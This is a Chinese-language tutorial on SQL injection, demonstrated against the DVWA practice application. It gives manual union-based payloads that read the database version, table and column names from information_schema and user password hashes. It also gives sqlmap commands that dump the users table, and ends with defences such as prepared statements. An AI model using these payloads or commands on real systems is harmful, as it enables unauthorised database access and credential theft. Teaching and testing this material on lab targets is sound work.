網(wǎng)絡(luò)安全攻防:Web安全之SQL注入
幾乎所有 Web 應(yīng)用程序都依賴數(shù)據(jù)庫來管理在應(yīng)用程序中處理的數(shù)據(jù)。在許多情況下,這些數(shù)據(jù)負(fù)責(zé)處理核心應(yīng)用程序邏輯,保存用戶賬戶、權(quán)限、應(yīng)用程序配置設(shè)置等。大多數(shù)數(shù)據(jù)庫都保存有結(jié)構(gòu)化、可以使用預(yù)先定義的查詢格式或語言訪問的數(shù)據(jù),并包含內(nèi)部邏輯來管理這些數(shù)據(jù)。本文介紹SQL注入攻擊如何利用語言的漏洞來獲取數(shù)據(jù)庫中的數(shù)據(jù)。
1. 原理
首先,SQL語言是一門解釋型語言。所謂的解釋型語言就是一種在運(yùn)行時(shí)由一個(gè)運(yùn)行時(shí)組件(runtime component)解釋語言代碼并執(zhí)行其中指令的語言。與之相對的還有編譯型語言,它的代碼在生成時(shí)轉(zhuǎn)換成機(jī)器指令,然后在運(yùn)行時(shí)直接由使用該語言的計(jì)算機(jī)處理器執(zhí)行這些指令。
從理論上講,任何語言都可以使用編譯器或解釋器來執(zhí)行,這種區(qū)別并不是語言本身的內(nèi)在特性。但大多數(shù)語言僅通過上述一種方法來執(zhí)行,SQL語言就是這樣。
基于解釋型語言的執(zhí)行方式,會(huì)產(chǎn)生一系列叫作代碼注入的漏洞,SQL注入就是其中的一種。在任何實(shí)際用途的Web應(yīng)用程序都會(huì)有用戶交互環(huán)節(jié),會(huì)收到用戶提交的數(shù)據(jù),對其進(jìn)行處理并執(zhí)行相應(yīng)的操作。因此,解釋器處理的數(shù)據(jù)其實(shí)是由程序員編寫的SQL語句代碼和用戶提交的數(shù)據(jù)共同組成的。在這個(gè)時(shí)候,攻擊者可以提交專門設(shè)計(jì)過的 SQL 語句,向Web應(yīng)用程序攻擊。結(jié)果,解釋器就會(huì)將這其中一部分的輸入解釋成程序指令執(zhí)行,就像一開始程序員編寫的代碼一樣。因此,SQL注入漏洞就隨之形成了。
除了語言本身的原因,SQL注入產(chǎn)生的另一個(gè)原因就是未過濾問題。在編寫Web應(yīng)用時(shí),由于其自主訪問控制的性質(zhì),程序員往往會(huì)對用戶輸入的信息進(jìn)行一定程度上的過濾操作,過濾掉一些危險(xiǎn)的字符,如or、單引號(hào)、注釋符等。但往往有些經(jīng)驗(yàn)不足的程序員會(huì)忽視這一問題,只是進(jìn)行簡單的過濾,從而讓攻擊者有機(jī)可乘。
SQL注入漏洞存在時(shí)間非常久,在Web應(yīng)用高速發(fā)展的今天,已經(jīng)很難見到SQL注入漏洞了。但是學(xué)習(xí)的目的在于了解其根本以及如何防范這種漏洞的產(chǎn)生。
2. 注入分類
接下來了解一下具體的SQL實(shí)施與分類。
在實(shí)戰(zhàn)中,主要會(huì)接觸到3個(gè)不同類型的注入點(diǎn),它們分別是數(shù)字型、字符型和搜索型。在編寫實(shí)際的Web應(yīng)用程序時(shí),程序員會(huì)根據(jù)不同的數(shù)據(jù)類型,編寫不同的查詢代碼如下。
- “?”表示需要輸入的數(shù)據(jù)。
- 數(shù)字型:SELECT * FROM user WHERE id=?
- 字符型:SELECT * FROM user WHERE username=‘?’
- 搜索型:SELECT * FROM user WHERE username=‘% ? %’
每個(gè)類型在輸入數(shù)據(jù)的時(shí)候,對數(shù)據(jù)做了一定的規(guī)范,因此,才產(chǎn)生了這樣的劃分,我們會(huì)在接下來的實(shí)例介紹中重點(diǎn)去區(qū)分?jǐn)?shù)字型與字符型。要提前申明一點(diǎn),雖然這里將注入點(diǎn)劃分了一定的類型,但是注入的步驟與原理都是一致的,因此,這種區(qū)分只是從數(shù)據(jù)角度去劃分的。
接下來將對SQL注入執(zhí)行的步驟進(jìn)行實(shí)例分析,在整個(gè)分析過程中,我們會(huì)將數(shù)字型與字符型細(xì)分開來,并且會(huì)先對手工SQL注入進(jìn)行剖析,然后再教大家去使用工具。對于從事安全的人員來說,工具只是實(shí)現(xiàn)滲透的一種手段,不能過多依賴于工具的操作。工具也是安全人員為了簡化步驟而編寫出來的。對于剛剛接觸安全的人來說,工具會(huì)更方便,了解原理才能真正掌握了這個(gè)漏洞。
在DVWA中的SQL Injection,在其中輸入框中輸入1,然后提交,如圖1所示。
圖1 ID:1
這里要先對注入點(diǎn)的類型進(jìn)行判斷,按照一般的步驟,輸入數(shù)字時(shí)會(huì)先考慮這是一個(gè)數(shù)字型的注入點(diǎn),所以會(huì)先按照數(shù)字型的方式操作注入點(diǎn)。
在其中輸入1 and 1=1,如圖2所示。
圖2 1D:1 and 1=1
在圖2中,我們可以看到ID的數(shù)據(jù)變成了 1 and 1=1,很明顯,這里的ID是一個(gè)字符型。所以對注入點(diǎn)類型的判斷是字符型。
接下來判斷該注入點(diǎn)是否有效。因?yàn)樵趯?shí)際操作中,某些應(yīng)用程序雖然允許此類輸入操作的發(fā)生,但是它會(huì)在內(nèi)部邏輯中過濾掉該部分??梢酝ㄟ^一個(gè)經(jīng)典的操作來判斷注入點(diǎn)是否有效。
在其中輸入1’and‘1’=’1時(shí),如圖3所示。
圖3 ID:1’and‘1’=’1
之后再輸入 1’and‘1’=’2,如圖4所示。
圖4 ID:1’and‘1’=’2
這里會(huì)出現(xiàn)兩種不同的結(jié)果,而這兩種結(jié)果證明這個(gè)注入點(diǎn)是有效的。and 1=1 是一個(gè)永真命題,and后面的條件永遠(yuǎn)成立,而and 1=2正好相反,1=2是一個(gè)永假命題,and后面的條件不成立。對于Web應(yīng)用來說,在條件不成立的情況下也不會(huì)將結(jié)果返回給用戶,所以在圖4中看不到數(shù)據(jù)。
前面的操作是SQL注入點(diǎn)判斷的基本操作。后續(xù)對于不同的數(shù)據(jù)庫有不同的操作。數(shù)據(jù)庫大致可以分成Access數(shù)據(jù)庫、MySQL數(shù)據(jù)庫、SQLServer數(shù)據(jù)庫、Oracle數(shù)據(jù)庫等。Access數(shù)據(jù)庫是比較早期應(yīng)用于Web應(yīng)用的數(shù)據(jù)庫。早期的Web應(yīng)用主要以顯示大量文本數(shù)據(jù)的靜態(tài)網(wǎng)頁組成。但是,近幾年Access數(shù)據(jù)庫的使用逐漸減小,因?yàn)樗荒苓m應(yīng)大量用戶的訪問,并且安全性沒有其他數(shù)據(jù)庫高。而現(xiàn)在使用較多的是MySQL數(shù)據(jù)庫。SQL Server和Oracle在大型公司比較適用。
MySQL 數(shù)據(jù)庫允許使用聯(lián)合查詢的方式,這樣查詢更加便捷。接下來,我們繼續(xù)剛才的操作,判斷完注入點(diǎn)之后,需要判斷該數(shù)據(jù)表存在的列數(shù),輸入1’order by 1#,如圖5所示。
圖5 ID:1’order by 1#
order by是根據(jù)列值查找的命令,#起到的作用是注釋,防止后續(xù)語句的干擾??梢岳^續(xù)嘗試輸入:
- 1’order by 6 #
運(yùn)行結(jié)果,如圖6所示。
圖6 列值查找
它會(huì)顯示錯(cuò)誤,找不到列值為6的列。這是因?yàn)樵摫碇胁淮嬖?列,按照這個(gè)步驟,可以從1開始,逐步往上增加,直到出現(xiàn)一個(gè)數(shù)報(bào)錯(cuò)為止,這樣,就可以知道該表中具體有多少列,當(dāng)然,DVWA經(jīng)過測試可以知道一共有2列。
知道列數(shù)之后,我們要看 MySQL 數(shù)據(jù)庫的版本,因?yàn)?MySQL5.0 以后的版本具有information_schema數(shù)據(jù)庫,里面存有所有數(shù)據(jù)庫的數(shù)據(jù)表名和列名,如圖7所示。
圖7 information_schema數(shù)據(jù)庫
利用這個(gè)數(shù)據(jù)庫來進(jìn)行數(shù)據(jù)的檢索,所以在此之前需要查看該應(yīng)用使用的MySQL數(shù)據(jù)庫版本,輸入:
- 1’union select version(),2 #
提交結(jié)果,如圖8所示。
圖8 查看版本
可以看到數(shù)據(jù)庫的版本是 5.0.51a-3ubuntu5,知道了版本之后,就可以使用information_shchema來完成后續(xù)的操作。輸入:
- 1' union select table_name,2 from information_schema.tables where table_schema=database()#
提交結(jié)果,如圖9所示。
圖9 查看表名
可以看到,圖中顯示出來兩個(gè)表名。然后再來理解上面輸入的語句,information_schema數(shù)據(jù)庫中含有 tables 這個(gè)數(shù)據(jù)表,條件是表數(shù)據(jù)庫名與 database()相同,而 database()正是當(dāng)前查詢的數(shù)據(jù)庫。
然后查詢列名,輸入:
- 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
運(yùn)行結(jié)果,如圖10所示。
圖10 查看列名
一共可以看到6個(gè)列名,輸入語句其實(shí)與上面那句類似,就是找到這個(gè)數(shù)據(jù)表中的列名。有了這些數(shù)據(jù),就可以列出想要的數(shù)據(jù)了,輸入:
- 1' union select user,password from users#
運(yùn)行結(jié)果,如圖11所示。
圖11 列出數(shù)據(jù)
這里的密碼是使用MD5加密的,可以利用工具在線解密。
3. SQL注入工具
SQL注入工具有很多,比較好用的有Pangolin和SQLMap工具。這兩個(gè)工具對于初學(xué)者來說,上手難度不大。
Pangolin 是一款幫助滲透測試人員進(jìn)行 SQL 注入(SQL Injeciton)測試的安全工具。Pangolin與JSky(Web應(yīng)用安全漏洞掃描器、Web應(yīng)用安全評估工具)都是NOSEC公司的產(chǎn)品。Pangolin具備友好的圖形界面并支持測試幾乎所有數(shù)據(jù)庫(Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite)。Pangolin能夠通過一系列非常簡單的操作,達(dá)到最大化的攻擊測試效果。它從檢測注入開始到最后控制目標(biāo)系統(tǒng),都給出了測試步驟。Pangolin是目前國內(nèi)使用率最高的SQL注入測試的安全軟件。
SQLMap 是一個(gè)自動(dòng)SQL注入工具,其可執(zhí)行一個(gè)廣泛的數(shù)據(jù)庫,管理系統(tǒng)后端指紋,檢索DBMS數(shù)據(jù)庫、usernames、表格、列,并列舉整個(gè)DBMS信息。SQLMap提供轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫表以及MySQL、PostgreSQL、SQL Server服務(wù)器下載或上傳任何文件并執(zhí)行任意代碼的能力。
在Windows命令行中輸入:
- >sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db
運(yùn)行結(jié)果,如圖12所示。
圖12 獲取數(shù)據(jù)庫名
這里可以看到數(shù)據(jù)庫的名稱“dvwa”,之后輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa –tables
運(yùn)行結(jié)果,如圖13所示。
圖13 獲取數(shù)據(jù)庫表名
可以看到該數(shù)據(jù)庫中有兩個(gè)表,之后輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users –column
運(yùn)行結(jié)果,如圖14所示。
圖14 獲取數(shù)據(jù)庫列名
可以看到一共有6個(gè)列名,之后就dump數(shù)據(jù)就可以了。輸入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users-C user,password –dump
運(yùn)行結(jié)果,如圖15所示。
圖15 SQLMap運(yùn)行結(jié)果
SQLMap自帶字典可以來破譯比較弱的密碼。從操作上看,SQLMap是一款功能比較強(qiáng)大的自動(dòng)注入工具,但是在安全級別較高的應(yīng)用中,SQLMap的使用還是很有限的。
4. 預(yù)防SQL注入
對于服務(wù)器層面的防范,應(yīng)該保證生產(chǎn)環(huán)境的Webshell是關(guān)閉錯(cuò)誤信息的。例如,PHP生產(chǎn)環(huán)境的配置php.ini中的display_error是off,這樣就可以關(guān)閉服務(wù)器的錯(cuò)誤提示。另外可以從編碼方面去預(yù)防SQL注入。
使用預(yù)編譯語句,是防御SQL注入的最佳方式,就是使用預(yù)編譯語句綁定變量。例如,JSP中使用的預(yù)編譯的SQL語句:
- String sql=“SELECT * FROM users where username=?”;
- PreparedStatement pstmt=connection.prepareStatement();
- pstmt.setString(1,admin);
從上述代碼可以看到“?”處與后面輸入的變量相互綁定,之后攻擊者如果再使用and 1=1之類的注入語句,應(yīng)用程序會(huì)將整個(gè)部分當(dāng)作是username來檢索數(shù)據(jù)庫,并不會(huì)造成修改語義的問題。對于有些無法使用預(yù)編譯的部分程序,還有其他方法可以預(yù)防。
檢查變量類型和格式也是一個(gè)不錯(cuò)的方法。如果要求用戶輸入的數(shù)據(jù)是整型的,那么就可以在查詢數(shù)據(jù)庫之前檢查一下獲取到的變量是否為整型,如果不為整型就重新校正。還有一些特殊的格式類型,如日期、時(shí)間、郵箱等格式??偟貋碚f,只要有固定格式的變量,在SQL語句執(zhí)行前,應(yīng)該嚴(yán)格按照格式去檢查,可以最大程度上預(yù)防SQL注入攻擊。
還有一種方法就是過濾掉特殊的符號(hào)。在SQL注入時(shí),往往需要一些特殊的符號(hào)幫助我們編寫語句,如單引號(hào)(’)、井號(hào)(#)、雙引號(hào)(”)等??梢詫⑦@些符號(hào)都進(jìn)行轉(zhuǎn)義處理或使用正則表達(dá)式過濾掉。
除了編碼層面的預(yù)防,還需要做到數(shù)據(jù)庫層面的權(quán)限管理,盡量減少在數(shù)據(jù)庫中使用Root權(quán)限直接查詢的次數(shù)。如果有多個(gè)應(yīng)用程序使用同一個(gè)數(shù)據(jù)庫,那么數(shù)據(jù)庫應(yīng)該分配好每個(gè)應(yīng)用程序的權(quán)限。